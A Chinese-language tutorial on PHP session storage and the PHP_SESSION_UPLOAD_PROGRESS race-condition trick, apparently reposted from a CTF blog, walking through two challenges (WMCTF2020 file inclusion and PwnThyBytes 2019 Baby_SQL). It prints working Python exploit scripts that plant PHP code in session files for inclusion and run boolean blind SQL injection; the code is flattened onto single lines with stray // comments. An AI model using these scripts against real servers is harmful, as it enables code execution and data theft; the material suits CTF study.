这篇文章主要介绍“PHP Session条件竞争问题怎么解决”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“PHP Session条件竞争问题怎么解决”文章能帮助大家解决问题。
PHP SESSION 的存储
Session会话存储方式
PHP将session以文件的形式存储服务器的文件中,session.save_path来控制
默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件默认是/var/lib/php/sessions目录下,文件名是sess_加上sessionID字段
但是在赛题中大多数都是/tmp目录下,需要php.ini力sesion.auto_start设置为1,然后修改目录
session.auto_start
:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。
session.upload_progress.cleanup = on
:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启
session.use_strict_mode
:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。
使用 Python 实现创建 Session 文件的过程:
import ioimport requestsimport threadingsessid = 'whoami'def POST(session): f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://192.168.43.82/index.php', data={"PHP_SESSION_UPLOAD_PROGRESS":"123"}, //用来改变session中的值 files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} //用来sesssion中的文件名 sess_whoami )with requests.session() as session: while True: POST(session) print("[+] 成功写入sess_whoami")
[WMCTF2020]Make PHP Great Again
<?phphighlight_file(__FILE__);require_once 'flag.php';if(isset($_GET['file'])) { require_once $_GET['file'];}
这道题是文件包含,已经包含过了一次flag.php,就不能二次包含了,一种方法是软连接/proc/self/root绕过
/proc/self指向当前进程的/proc/pid/
/proc/self/root/是指向/的符号链接
这道题也可以 用条件竞争进行,
import ioimport sysimport requestsimport threadinghost = 'http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/'sessid = 'feng'def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( host, data={ # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');echo md5('1');?>"}, "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5('1');?>"},//session存值 files={ "file":('a.txt', f)}, cookies={ 'PHPSESSID':sessid}//改名 )def READ(session): while True: response = session.get(f'{host}?file=/tmp/sess_{sessid}')//路径# print(response.text) if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text://1的md5 print('[+++]retry') else: print(response.text) sys.exit(0)with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, ))//线程可以套循环 多层线程 t1.daemon = True //相当完成任务直接结束,不用等线程全部结束 t1.start() READ(session)
线程结束后,想在网页获得php坏境页面可是找不到,
[PwnThyBytes 2019]Baby_SQL
访问源码,获得source.zip
打开后发现index.php
<?phpsession_start();foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;function filter($value){ !is_string($value) AND die("Hacking attempt!"); return addslashes($value);}isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');?>
都要经过最后的过滤,然后通过传参p进行包含templates目录下面的文件
login.php
<?php!isset($_SESSION) AND die("Direct access on this script is not allowed!");include 'db.php';$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';$result = $con->query($sql);function auth($user){ $_SESSION['username'] = $user; return True;}($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));?>
发现就login.php里面没有过滤,然后
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
意思为如果不存在session就die输出,前面的为true才执行后面的
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
OR前面是false才执行后面的语句。然后这里的意思前面有个大的括号里有一个满足就会执行$con->close()
,然后这个执行返回true的话就会执行die(“Not allowed!”);
所以如果我们要直接访问login.php进行sql注入的话,还需要带上一个session才行,这里边用上了我们的PHP_SESSION_UPLOAD_PROGRESS
了。我们可以使用PHP_SESSION_UPLOAD_PROGRESS
来在目标服务器上初始化一个session,然后便可以绕过index.php中的检测,直接访问login.php进行sql注入了。
import requestsurl = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"//这个templates是因为login.php在这个目录下面files = {"file": "123456789"}a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'}, proxies={'http': "http://127.0.0.1:8080"})通过这个接口,burp就可以抓包到print(a.text)
然后对username进行注入,发现是用"进行闭合,然后回显,可以用盲注实现
<meta http-equiv="refresh" content="0; url=?p=home" />
import requestsimport timeurl = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"files = {"file": "123456789"}flag=''for i in range(1,100): low = 32 high = 128 mid = (low+high)//2 while (low < high): time.sleep(0.06) #payload_flag ={'username': "test\" or (ascii(substr((select group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),'password': 'test'} payload_flag = { 'username': 'test" or (ascii(substr(database(),{0},1))>{1}) #'.format(i,mid),'password': 'test'} r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}) print(payload_flag) if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text: low = mid +1 else: high = mid mid = (low + high) // 2 if(mid==32 ): break flag +=chr(mid) print(flag)print(flag)
关于“PHP Session条件竞争问题怎么解决”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注编程网行业资讯频道,小编每天都会为大家更新不同的知识点。